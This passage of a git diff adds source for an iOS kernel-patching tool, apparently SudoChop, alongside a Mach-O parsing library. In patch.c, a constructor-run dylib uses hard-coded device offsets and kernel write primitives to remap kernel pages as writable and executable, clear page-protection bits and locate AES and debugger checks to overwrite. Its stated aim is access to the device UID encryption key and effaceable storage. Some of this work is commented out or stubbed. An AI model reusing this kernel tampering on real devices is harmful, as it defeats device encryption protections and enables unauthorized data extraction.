WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#ifndef MACHO_H_ +#define MACHO_H_ + +#include "debug.h" +#include "symtab.h" +#include "segment.h" +#include "section.h" +#include "command.h" + +#define MACHO_MAGIC_32 0xFEEDFACE +#define MACHO_MAGIC_64 0xFEEDFACF +#define MACHO_MAGIC_FAT 0xCAFEBABE + +typedef struct macho_header_t { + uint32_t magic; + uint32_t cputype; + uint32_t cpusubtype; + uint32_t filetype; + uint32_t ncmds; + uint32_t sizeofcmds; + uint32_t flags; +} macho_header_t; + +typedef struct macho_t { + uint8_t* data; + uint32_t size; + uint32_t offset; + uint32_t command_count; + uint32_t segment_count; + uint32_t symtab_count; + macho_header_t* header; + macho_symtab_t** symtabs; + macho_command_t** commands; + macho_segment_t** segments; +} macho_t; + +/* + * Mach-O Functions + */ +macho_t* macho_create(); +macho_t* macho_open(const char* path); +macho_t* macho_load(unsigned char* data, uint32_t size); +void macho_debug(macho_t* macho); +void macho_free(macho_t* macho); + +uint32_t macho_lookup(macho_t* macho, const char* sym); +macho_segment_t* macho_get_segment(macho_t* macho, const char* segment); +macho_section_t* macho_get_section(macho_t* macho, const char* segment, const char* section); +void macho_list_symbols(macho_t* macho, void (*print_func)(const char*, uint32_t, void*), void* userdata); + + +int macho_handle_command(macho_t* macho, macho_command_t* command); + +/* + * Mach-O Header Functions + */ +macho_header_t* macho_header_create(); +macho_header_t* macho_header_load(macho_t* macho); +void macho_header_debug(macho_t* macho); +void macho_header_free(macho_header_t* header); + +/* + * Mach-O Commands Functions + */ +macho_command_t** macho_commands_create(uint32_t count); +macho_command_t** macho_commands_load(macho_t* macho); +void macho_commands_debug(macho_t* macho); +void macho_commands_free(macho_command_t** commands); + +/* + * Mach-O Segments Functions + */ +macho_segment_t** macho_segments_create(uint32_t count); +macho_segment_t** macho_segments_load(macho_t* macho); +void macho_segments_debug(macho_t* macho); +void macho_segments_free(macho_segment_t** segments); + +/* + * Mach-O Symtab Functions + */ +macho_symtab_t** macho_symtabs_create(uint32_t count); +macho_symtab_t** macho_symtabs_load(macho_t* macho); +void macho_symtabs_debug(macho_t* macho); +void macho_symtabs_free(macho_symtab_t** symtabs); + +/* + * Mach-O Sections Functions + */ +macho_section_t** macho_sections_create(uint32_t count); +macho_section_t** macho_sections_load(macho_t* macho, macho_segment_t* segment); +void macho_sections_debug(macho_section_t** sections); +void macho_sections_free(macho_section_t** sections); + +#endif /* MACHO_H_ */ diff --git a/patch/patch/pangwho.c b/patch/patch/pangwho.c new file mode 100644 index 0000000..d979885 --- /dev/null +++ b/patch/patch/pangwho.c @@ -0,0 +1,9 @@ +// +// pangwho.c +// patch +// +// Created by Joshua Hill on 7/1/15. +// +// + +#include "pangwho.h" diff --git a/patch/patch/pangwho.h b/patch/patch/pangwho.h new file mode 100644 index 0000000..8c2cd67 --- /dev/null +++ b/patch/patch/pangwho.h @@ -0,0 +1,14 @@ +// +// pangwho.h +// patch +// +// Created by Joshua Hill on 7/1/15. +// +// + +#ifndef __patch__pangwho__ +#define __patch__pangwho__ + +#include + +#endif /* defined(__patch__pangwho__) */ diff --git a/patch/patch/patch.c b/patch/patch/patch.c new file mode 100644 index 0000000..a5d6d70 --- /dev/null +++ b/patch/patch/patch.c @@ -0,0 +1,322 @@ +// +// patch.c +// com.sudo-sec.chop.patch +// +// Created by Joshua Hill on 1/16/14. +// Copyright (c) 2014 Sudo Security Group. All rights reserved. + +#include +#include +#include +#include +#include +#include +#include + +#include "avio.h" +#include "find.h" +#include "patch.h" +#include "kernel.h" +#include "devtree.h" +#include "m1n0rthreat.h" + +void patch_enter(void) __attribute__((constructor)); +void patch_leave(void) __attribute__((destructor)); + +/* About: + * This module in SudoChop is responsiable for exploiting and patching the kernel to allow + * to allow access to devices UID for AES encryption/decryption and access to effaceable storage + * + * Architecture: + * This uses a basic "whiteboard" architecture style. The kernel object is the whiteboard object. + * Each "expert" knows about the interface needed for the kernel object and can add, remove, or change + * functions and data to the kernel object. + * + */ + +void x_patch_enter() { + syslog(LOG_ERR, "++[PATCH]++ Entering patch.dylib"); + + syslog(LOG_ERR, "++[PATCH]++ Opening reference kernel to object"); + kernel_t* kernel = kernel_open(); + if(kernel) { + + + syslog(LOG_ERR, "++[PATCH]++ Closing reference to kernel object"); + kernel_close(kernel); + + } else { + syslog(LOG_ERR, "++[PATCH]++ Unable to open kernel object"); + } + + syslog(LOG_ERR, "++[PATCH]++ Exiting patch.dylib"); + exit(0); +} + +void patch_enter() { + syslog(LOG_ERR, "++[PATCH]++ Entering patch.dylib"); + + syslog(LOG_ERR, "++[PATCH]++ Opening reference kernel to object"); + kernel_t* kernel = kernel_open(); + if(kernel) { + // Let's do this shit!! + vm_address_t bootargs = devtree_get_bootargs(kernel); + syslog(LOG_ERR, "++[PATCH]++ Found boot-args at 0x%08lx", bootargs); + + vm_address_t pagemap = 0; + vm_address_t kernbase = 0; + if(kernel->task) { + kernbase = kernel->base; + if(kernbase) { + syslog(LOG_ERR, "++[PATCH]++ Found kernbase at 0x%08lx", kernbase); + } + pagemap = kernel->get(find_tlb(kernel)); + if(pagemap) { + syslog(LOG_ERR, "++[PATCH]++ Found pagemap at 0x%08lx", pagemap); + } + //m1n0rthreat_init(kernbase); + + } else { + // iPhone4s 6.1.3 = 0xDBB000 + //kernbase = bootargs - 0xDBB000; + // iPhone5 7.0.6 + //kernbase = bootargs - 0xF0D000; + // iPhone5 7.0.4 + kernbase = bootargs - 0xF0E000; + // Test Offset + //kernbase = 0x0; + syslog(LOG_ERR, "++[PATCH]++ I think kernbase should be at 0x%08lx", kernbase); + + // iPhone4s 6.1.3 = 0x8000 + //pagemap = bootargs + 0x8000; // PAGEMAP_OFFSET + // iPhone5 7.0.6 + //pagemap = bootargs + 0x6000; // PAGEMAP_OFFSET + // iPhone5 7.0.4 + pagemap = bootargs + 0x6000; + // Test Offset + //pagemap = bootargs = 0x0; + syslog(LOG_ERR, "++[PATCH]++ I think the page mappings should be at 0x%08lx", pagemap); + + //m1n0rthreat_init(kernbase); // BOOTARG_OFFSET + //printuuid(); + //m1n0rthreat_kernel_write(kernbase+KERN_UUID, "p0sixninja\0", sizeof("p0sixninja")+1); + //printuuid(); + //exit(1); + } + + unsigned int ttb[] = { + 0x80010C02, + 0x80110C02, + 0x80210C02, + 0x80310C02, + 0x80410C02, + 0x80510C02, + 0x80610C02, + 0x80710C02, + 0x80810C02, + 0x80910C02, + 0x80A10C02, + 0x80B10C02, + 0x80C10C02, + 0x80D10C02, + 0x80E10C02, + 0x80F10C02, + }; + + unsigned int* feedface = (unsigned int*)(SHADOWMAP_BEGIN+0x1000); + //m1n0rthreat_kernel_write(pagemap+TTB_OFFSET(SHADOWMAP_BEGIN), ttb, sizeof(ttb)); + //avio_kernel_write(pagemap+TTB_OFFSET(SHADOWMAP_BEGIN), ttb, sizeof(ttb)); + avio_kernel_set(pagemap+TTB_OFFSET(SHADOWMAP_BEGIN), ttb[0]); + + + syslog(LOG_ERR, "++[PATCH]++ Kernel should be remapped as RWX 0x%08x", SHADOWMAP_BEGIN); + + uint8_t* kmem = SHADOWMAP_BEGIN; + syslog(LOG_ERR, "++[PATCH]++ Please be 0xFEEDFACE.... 0x%08x", *feedface); + if(*feedface == 0xfeedface) { + syslog(LOG_ERR, "++[PATCH]++ Success!! Now let's find those patches"); + + uint32_t iolog = find_IOLog(kernbase, SHADOWMAP_BEGIN, SHADOWMAP_SIZE_BYTES); + if(iolog) { + syslog(LOG_ERR, "Found IOLog at 0x%08x", iolog); + } + + uint32_t aes = find_aes(kernbase, SHADOWMAP_BEGIN, SHADOWMAP_SIZE_BYTES); + if(aes) { + syslog(LOG_ERR, "Found AES at 0x%08x", aes); + //*((unsigned int*)&kmem[aes]) = 0x0; + } + + //uint32_t dbg1 = find_i_can_has_debugger_1(kernbase, SHADOWMAP_BEGIN, SHADOWMAP_SIZE_BYTES); + //if(dbg1) { + // syslog(LOG_ERR, "Found DBG1 at 0x%08x", dbg1); + // *((unsigned char*)&kmem[dbg1]) = 0x1; + // kmem[dbg1] = 0x1; + //} + + //uint32_t dbg2 = find_i_can_has_debugger_2(kernbase, SHADOWMAP_BEGIN, SHADOWMAP_SIZE_BYTES); + //if(dbg2) { + // syslog(LOG_ERR, "Found DBG2 at 0x%08x", dbg2); + // //*((unsigned char*)&kmem[dbg2]) = 0x1; + // kmem[dbg2] = 0x1; + //} + + } else { + syslog(LOG_ERR, "++[PATCH]++ Fail... Check offsets again..."); + } + + + syslog(LOG_ERR, "++[PATCH]++ Closing reference to kernel object"); + kernel_close(kernel); + + } else { + syslog(LOG_ERR, "++[PATCH]++ Unable to open kernel object"); + } + + syslog(LOG_ERR, "++[PATCH]++ Exiting patch.dylib"); + exit(0); +} + + +/* +void patch_enter() { + syslog(LOG_ERR, "++[PATCH]++ Entering patch.dylib"); + + syslog(LOG_ERR, "++[PATCH]++ Opening reference kernel to object"); + kernel_t* kernel = kernel_open(); + if(kernel) { + // Should all this be rolled into the kernel object, seems silly to worry about it here + syslog(LOG_ERR, "++[PATCH]++ Kernel object created successfully"); + if(kernel->task == 0) { + + // No tfp0 patch, let's patch it + syslog(LOG_ERR, "++[PATCH]++ No tfp0 patch found, attempting to find it"); + vm_address_t tfp_addr = 0;//find_tfp(kernel); + if(tfp_addr) { + syslog(LOG_ERR, "++[PATCH]++ Found tfp0 patch at 0x%lx", tfp_addr); + syslog(LOG_ERR, "++[PATCH]++ Patching the kernel page containing tfp0 function"); + patch_tlb(kernel, tfp_addr); + // TODO: Need a way to flush this!!! + patch_tfp(kernel); + // TODO: Check return value? + syslog(LOG_ERR, "++[PATCH]++ tfp0 patch should now be applied at %lx", tfp_addr); + + } else { + syslog(LOG_ERR, "++[PATCH]++ Unable to locate tfp0 patch"); + kernel_close(kernel); + // Could we continue with just the kernel exploit? + return; + } + + // Re-open kernel so we're using tfp0 now + syslog(LOG_ERR, "++[PATCH]++ Re-opening kernel object to use tfp0 now"); + kernel_close(kernel); + kernel = kernel_open(); + if(kernel) { + if(kernel->task == 0) { + // If we still failed then we didn't patch tfp0 successfully (or it didn't flush) + syslog(LOG_ERR, "++[PATCH]++ Error patching tfp0 or need to flush cache"); + // Could we continue with just the kernel exploit? + kernel_close(kernel); + return; + + } else { + syslog(LOG_ERR, "++[PATCH]++ tfp0 successfully patched"); + } + } + + } else { + // Looks like tfp0 was already patched + syslog(LOG_ERR, "++[PATCH]++ tfp0 was already patched is this device jailbroken?"); + } + + patch_aes(kernel); + + // TODO: Check to make sure these succeessful + // Flush + //patch_dbg(kernel); + // Flush + + kernel_close(kernel); + } else { + syslog(LOG_ERR, "++[PATCH]++ Unable to open kernel object"); + } + + exit(0); +} +*/ + +void patch_leave() { + syslog(LOG_ERR, "++[PATCH]++ Leaving patch.dylib"); +} + +int patch_tfp(kernel_t* kernel) { + return 0; +} + +/* +int patch_aes(kernel_t* kernel) { + vm_address_t aes_addr = find_aes(kernel); + if(aes_addr) { + syslog(LOG_ERR, "Found AES patch address at 0x%lx", aes_addr); + + // Make sure this kernel page is set RWX + patch_tlb(kernel, aes_addr); + + // We just NOP out this branch after the check + kernel->set(aes_addr, 0x0); + + } else { + syslog(LOG_ERR, "Unable to find AES patch address"); + return -1; + } + return 0; +} + */ + +int patch_dbg(kernel_t* kernel) { + return 0; +} + +int patch_iof(kernel_t* kernel) { + return 0; +} + +int patch_tlb(kernel_t* kernel, vm_address_t target) { + syslog(LOG_ERR, "Pwning TLB!!!"); + if(kernel->pmap == 0) { + kernel->pmap = find_tlb(kernel); + } + + vm_address_t base = kernel->base; + vm_address_t addr = kernel->pmap; + vm_address_t ttb_virt = kernel->get(addr); + vm_address_t ttb_phys = kernel->get(addr + sizeof(vm_address_t)); + syslog(LOG_ERR, "kernel_pmap->ttb_virt *0x%08x = 0x%08x\n", addr, ttb_virt); + syslog(LOG_ERR, "kernel_pmap->ttb_phys *0x%08x = 0x%08x\n", addr + sizeof(vm_address_t), ttb_phys); + + vm_address_t start = ADDR_TO_TTE(ttb_virt, target); + vm_address_t desc = kernel->get(start); + + syslog(LOG_ERR, "offset page map (L1): *0x%08x = 0x%08x\n", start, desc); + + // get the page table + vm_address_t pte = (desc & 0xfffffc00); // physical + pte -= ttb_phys & 0xF0000000; // physBase + pte += base - 0x1000; + + // Virt offset + pte += PTE_OFFSET(target); + desc = kernel->get(pte); + + // Or bits. + syslog(LOG_ERR, "offset page map (L2): *0x%08x = 0x%08x\n", pte, desc); + desc &= ~(1 << 9); // APX-bit; + desc |= (1 << 5); // AP bit + desc |= (1 << 4); // AP-bit + syslog(LOG_ERR, "offset page map (L2): *0x%08x = 0x%08x\n", pte, desc); + + kernel->set(pte, desc); + + return 0; +} diff --git a/patch/patch/patch.h b/patch/patch/patch.h new file mode 100644 index 0000000..ac48d93 --- /dev/null +++ b/patch/patch/patch.h @@ -0,0 +1,26 @@ +// +// patch.h +// patch +// +// Created by Joshua Hill on 1/18/14. +// +// + +#ifndef patch_patch_h +#define patch_patch_h + +#include + +#include "kernel.h" + +#define TTE_OFFSET(ADDR) (((ADDR >> 0x14) & 0xfff) << 2) +#define ADDR_TO_TTE(BASE, ADDR) (BASE + TTE_OFFSET(ADDR)) +#define PTE_OFFSET(ADDR) (((ADDR & ~(0xfff00000)) >> 12) << 2) + +int patch_tfp(kernel_t* kernel); +int patch_aes(kernel_t* kernel); +int patch_dbg(kernel_t* kernel); +int patch_iof(kernel_t* kernel); +int patch_tlb(kernel_t* kernel, vm_address_t address); + +#endif diff --git a/patch/patch/pmap.c b/patch/patch/pmap.c new file mode 100644 index 0000000..1ba59bb --- /dev/null +++ b/patch/patch/pmap.c @@ -0,0 +1,28 @@ +// +// pmap.c +// patch +// +// Created by Joshua Hill on 3/27/14. +// +// + +#include +#include + +#include "pmap.h" + +vm_address_t pmap_kernel_get(vm_address_t address) { + return NULL; +} + +void pmap_kernel_set(vm_address_t address, void* value) { + +} + +vm_size_t pmap_kernel_read(vm_address_t addr, void* buffer, vm_size_t size) { + return 0; +} + +vm_size_t pmap_kernel_write(vm_address_t addr, void* buffer, vm_size_t size) { + return 0; +} \ No newline at end of file diff --git a/patch/patch/pmap.h b/patch/patch/pmap.h new file mode 100644 index 0000000..818627c --- /dev/null +++ b/patch/patch/pmap.h @@ -0,0 +1,19 @@ +// +// pmap.h +// patch +// +// Created by Joshua Hill on 3/27/14. +// +// + +#ifndef patch_pmap_h +#define patch_pmap_h + +#include + +vm_address_t pmap_kernel_get(vm_address_t address); +void pmap_kernel_set(vm_address_t address, void* value); +vm_size_t pmap_kernel_read(vm_address_t addr, void* buffer, vm_size_t size); +vm_size_t pmap_kernel_write(vm_address_t addr, void* buffer, vm_size_t size); + +#endif diff --git a/patch/patch/section.c b/patch/patch/section.c new file mode 100644 index 0000000..f9c77e3 --- /dev/null +++ b/patch/patch/section.c @@ -0,0 +1,114 @@ +/** + * libmacho-1.0 - section.c + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#include +#include +#include + +//#define _DEBUG +#include "debug.h" +#include "section.h" + +macho_section_t* macho_section_create(void); +macho_section_info_t* macho_section_info_create(void); + +/* + * Mach-O Segment Functions + */ +macho_section_t* macho_section_create() { + macho_section_t* section = (macho_section_t*) malloc(sizeof(macho_section_t)); + if(section) { + memset(section, '\0', sizeof(macho_section_t)); + } + return section; +} + +macho_section_t* macho_section_load(unsigned char* data, uint32_t offset) { + macho_section_t* section = NULL; + if(data) { + debug("Creating Mach-O Section\n"); + section = macho_section_create(); + if(section) { + debug("Loading Mach-O Section\n"); + section->info = macho_section_info_load(data, offset); + if(section->info) { + section->name = strdup(section->info->sectname); + debug("Section %s Loaded\n", section->name); + } + } + } + return section; +} + +void macho_section_debug(macho_section_t* section) { + if(section && section->info) { + macho_section_info_debug(section->info); + } + +} + +void macho_section_free(macho_section_t* section) { + +} + +/* + * Mach-O Segment Info Functions + */ +macho_section_info_t* macho_section_info_create() { + macho_section_info_t* info = malloc(sizeof(macho_section_info_t)); + if(info) { + memset(info, '\0', sizeof(macho_section_info_t)); + } + return info; +} + +macho_section_info_t* macho_section_info_load(unsigned char* data, uint32_t offset) { + macho_section_info_t* info = macho_section_info_create(); + if(info) { + memcpy(info, &data[offset], sizeof(macho_section_info_t)); + //macho_section_info_debug(info); + } + return info; +} + +void macho_section_info_debug(macho_section_info_t* info) { + debug("\t\tSection:\n"); + debug("\t\t\tSectName: %s\n", info->sectname); + //char sectname[16]; /* name of this section */ + debug("\t\t\tSegName: %s\n", info->segname); + //char segname[16]; /* segment this section goes in */ + debug("\t\t\tAddress: 0x%x\n", info->addr); + //uint32_t addr; /* memory address of this section */ + debug("\t\t\tSize: 0x%x\n", info->size); + //uint32_t size; /* size in bytes of this section */ + debug("\t\t\tOffset: 0x%x\n", info->offset); + //uint32_t offset; /* file offset of this section */ + debug("\t\t\tAlign: 0x%x\n", info->align); + //uint32_t align; /* section alignment (power of 2) */ + debug("\t\t\tRelOff: 0x%x\n", info->reloff); + //uint32_t reloff; /* file offset of relocation entries */ + debug("\t\t\tnreloc: 0x%x\n", info->nreloc); + //uint32_t nreloc; /* number of relocation entries */ + debug("\t\t\tflags: 0x%x\n\n", info->flags); + //uint32_t flags; /* flags (section type and attributes)*/ +} + +void macho_section_info_free(macho_section_info_t* info) { + +} diff --git a/patch/patch/section.h b/patch/patch/section.h new file mode 100644 index 0000000..1386b81 --- /dev/null +++ b/patch/patch/section.h @@ -0,0 +1,58 @@ +/** + * libmacho-1.0 - section.h + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#ifndef MACHO_SECTION_H_ +#define MACHO_SECTION_H_ + +typedef struct macho_section_info_t { + char sectname[16]; /* name of this section */ + char segname[16]; /* segment this section goes in */ + uint32_t addr; /* memory address of this section */ + uint32_t size; /* size in bytes of this section */ + uint32_t offset; /* file offset of this section */ + uint32_t align; /* section alignment (power of 2) */ + uint32_t reloff; /* file offset of relocation entries */ + uint32_t nreloc; /* number of relocation entries */ + uint32_t flags; /* flags (section type and attributes)*/ + uint32_t reserved1; /* reserved (for offset or index) */ + uint32_t reserved2; /* reserved (for count or sizeof) */ +} macho_section_info_t; + +typedef struct macho_section_t { + char* name; + macho_section_info_t* info; +} macho_section_t; + +/* + * Mach-O Segment Functions + */ +macho_section_t* macho_section_create(); +macho_section_t* macho_section_load(unsigned char* data, uint32_t offset); +void macho_section_debug(macho_section_t* section); +void macho_section_free(macho_section_t* section); + +/* + * Mach-O Segment Info Functions + */ +macho_section_info_t* macho_section_info_create(); +macho_section_info_t* macho_section_info_load(unsigned char* data, uint32_t offset); +void macho_section_info_debug(macho_section_info_t* info); +void macho_section_info_free(macho_section_info_t* info); + +#endif /* MACHO_SECTION_H_ */ diff --git a/patch/patch/segment.c b/patch/patch/segment.c new file mode 100644 index 0000000..fe4ef88 --- /dev/null +++ b/patch/patch/segment.c @@ -0,0 +1,139 @@ +/** + * libmacho-1.0 - segment.c + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#include +#include +#include + +//#define _DEBUG +#include "debug.h" +#include "segment.h" + +macho_segment_t* macho_segment_create(void); +macho_segment_cmd_t* macho_segment_cmd_create(void); + +/* + * Mach-O Segment Functions + */ +macho_segment_t* macho_segment_create() { + macho_segment_t* segment = (macho_segment_t*) malloc(sizeof(macho_segment_t)); + if(segment) { + memset(segment, '\0', sizeof(macho_segment_t)); + } + return segment; +} + +macho_segment_t* macho_segment_load(unsigned char* data, uint32_t offset) { + unsigned char* address = NULL; + macho_segment_t* segment = macho_segment_create(); + if (segment) { + segment->command = macho_segment_cmd_load(data, offset); + if (!segment->command) { + macho_segment_free(segment); + return NULL; + } + segment->name = strdup(segment->command->segname); + segment->size = segment->command->filesize; + segment->offset = offset; + segment->address = segment->command->vmaddr; + segment->data = &data[segment->command->fileoff]; + segment->section_count = segment->command->nsects; + } + return segment; +} + +macho_section_t* macho_segment_get_section(macho_segment_t* segment, const char* section) { + int i = 0; + for(i = 0; i < segment->section_count; i++) { + macho_section_t* sect = segment->sections[i]; + if(strcmp(sect->name, section) == 0) { + return sect; + } + } + return NULL; +} + +void macho_segment_debug(macho_segment_t* segment) { + if(segment) { + debug("\tSegment:\n"); + debug("\t\t name: %s\n", segment->name); + debug("\t\t size: 0x%x\n", segment->size); + debug("\t\t offset: 0x%x\n", segment->offset); + debug("\t\taddress: 0x%08x\n", segment->address); + if(segment->command) { + macho_segment_cmd_debug(segment->command); + } + } +} + +void macho_segment_free(macho_segment_t* segment) { + if (segment) { + if (segment->command) { + macho_segment_cmd_free(segment->command); + } + if (segment->name) { + free(segment->name); + } + free(segment); + } +} + +/* + * Mach-O Segment Info Functions + */ +macho_segment_cmd_t* macho_segment_cmd_create() { + macho_segment_cmd_t* info = malloc(sizeof(macho_segment_cmd_t)); + if (info) { + memset(info, '\0', sizeof(macho_segment_cmd_t)); + } + return info; +} + +macho_segment_cmd_t* macho_segment_cmd_load(unsigned char* data, uint32_t offset) { + macho_segment_cmd_t* cmd = macho_segment_cmd_create(); + if (cmd) { + memcpy(cmd, data+offset, sizeof(macho_segment_cmd_t)); + //macho_segment_cmd_debug(cmd); + } + return cmd; +} + +void macho_segment_cmd_debug(macho_segment_cmd_t* cmd) { + + if(cmd) { + debug("\tSegment Command:\n"); + debug("\t\t cmd = 0x%x\n", cmd->cmd); + debug("\t\t cmdsize = 0x%x\n", cmd->cmdsize); + debug("\t\t segname = %s\n", cmd->segname); + debug("\t\t vmaddr = 0x%08x\n", cmd->vmaddr); + debug("\t\t vmsize = 0x%x\n", cmd->vmsize); + debug("\t\t fileoff = 0x%x\n", cmd->fileoff); + debug("\t\tfilesize = 0x%x\n", cmd->filesize); + debug("\t\t maxprot = 0x%08x\n", cmd->maxprot); + debug("\t\tinitprot = 0x%08x\n", cmd->initprot); + debug("\t\t nsects = 0x%x\n", cmd->nsects); + debug("\t\t flags = 0x%08x\n", cmd->flags); + } + +} +void macho_segment_cmd_free(macho_segment_cmd_t* cmd) { + if (cmd) { + free(cmd); + } +} diff --git a/patch/patch/segment.h b/patch/patch/segment.h new file mode 100644 index 0000000..b6aad90 --- /dev/null +++ b/patch/patch/segment.h @@ -0,0 +1,67 @@ +/** + * libmacho-1.0 - segment.h + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#ifndef MACHO_SEGMENT_H_ +#define MACHO_SEGMENT_H_ + +#include "section.h" + +typedef struct macho_segment_cmd_t { + uint32_t cmd; + uint32_t cmdsize; + char segname[16]; + uint32_t vmaddr; + uint32_t vmsize; + uint32_t fileoff; + uint32_t filesize; + uint32_t maxprot; + uint32_t initprot; + uint32_t nsects; + uint32_t flags; +} macho_segment_cmd_t; + +typedef struct macho_segment_t { + char* name; + uint32_t size; + uint32_t offset; + uint32_t address; + unsigned char* data; + uint32_t section_count; + macho_section_t** sections; + macho_segment_cmd_t* command; +} macho_segment_t; + +/* + * Mach-O Segment Functions + */ +macho_segment_t* macho_segment_create(); +macho_segment_t* macho_segment_load(unsigned char* data, uint32_t offset); +macho_section_t* macho_segment_get_section(macho_segment_t* segment, const char* section); +void macho_segment_debug(macho_segment_t* segment); +void macho_segment_free(macho_segment_t* segment); + +/* + * Mach-O Segment Info Functions + */ +macho_segment_cmd_t* macho_segment_cmd_create(); +macho_segment_cmd_t* macho_segment_cmd_load(unsigned char* data, uint32_t offset); +void macho_segment_cmd_debug(macho_segment_cmd_t* cmd); +void macho_segment_cmd_free(macho_segment_cmd_t* cmd); + +#endif /* MACHO_SEGMENT_H_ */ diff --git a/patch/patch/symbol.c b/patch/patch/symbol.c new file mode 100644 index 0000000..bdaf2db --- /dev/null +++ b/patch/patch/symbol.c @@ -0,0 +1,70 @@ +/** + * libmacho-1.0 - symbol.c + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#include +#include +#include + +#include "debug.h" +#include "symbol.h" + +macho_symbol_t* macho_symbol_create(void); +macho_symbol_info_t* macho_symbol_info_create(void); + +/* + * Mach-O Segment Functions + */ +macho_symbol_t* macho_symbol_create() { + macho_symbol_t* command = NULL; + return command; +} + +macho_symbol_t* macho_symbol_load(unsigned char* data, uint32_t offset) { + macho_symbol_t* command = macho_symbol_create(); + return command; +} + +void macho_symbol_debug(macho_symbol_t* command) { + +} + +void macho_symbol_free(macho_symbol_t* command) { + +} + +/* + * Mach-O Segment Info Functions + */ +macho_symbol_info_t* macho_symbol_info_create() { + macho_symbol_info_t* info = NULL; + return info; +} + +macho_symbol_info_t* macho_symbol_info_load(unsigned char* data, uint32_t offset) { + macho_symbol_info_t* info = macho_symbol_info_create(); + return info; +} + +void macho_symbol_info_debug(macho_symbol_info_t* info) { + +} + +void macho_symbol_info_free(macho_symbol_info_t* info) { + +} diff --git a/patch/patch/symbol.h b/patch/patch/symbol.h new file mode 100644 index 0000000..cf4f02d --- /dev/null +++ b/patch/patch/symbol.h @@ -0,0 +1,47 @@ +/** + * libmacho-1.0 - symbol.h + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#ifndef MACHO_SYMBOL_H_ +#define MACHO_SYMBOL_H_ + +typedef struct macho_header_t { + uint32_t magic; +} macho_symbol_info_t; + +typedef struct macho_symbol_t { + macho_symbol_info_t* info; +} macho_symbol_t; + +/* + * Mach-O Segment Functions + */ +macho_symbol_t* macho_symbol_create(); +macho_symbol_t* macho_symbol_load(unsigned char* data, uint32_t offset); +void macho_symbol_debug(macho_symbol_t* command); +void macho_symbol_free(macho_symbol_t* command); + +/* + * Mach-O Segment Info Functions + */ +macho_symbol_info_t* macho_symbol_info_create(); +macho_symbol_info_t* macho_symbol_info_load(unsigned char* data, uint32_t offset); +void macho_symbol_info_debug(macho_symbol_info_t* info); +void macho_symbol_info_free(macho_symbol_info_t* info); + +#endif /* MACHO_SYMBOL_H_ */ diff --git a/patch/patch/symtab.c b/patch/patch/symtab.c new file mode 100644 index 0000000..c919714 --- /dev/null +++ b/patch/patch/symtab.c @@ -0,0 +1,127 @@ +/** + * libmacho-1.0 - symtab.c + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#include +#include +#include + +//#define _DEBUG +#include "debug.h" +#include "symtab.h" + +macho_symtab_t* macho_symtab_create(void); +macho_symtab_cmd_t* macho_symtab_cmd_create(void); + +/* + * Mach-O Symtab Functions + */ +macho_symtab_t* macho_symtab_create() { + macho_symtab_t* symtab = malloc(sizeof(macho_symtab_t)); + if (symtab) { + memset(symtab, '\0', 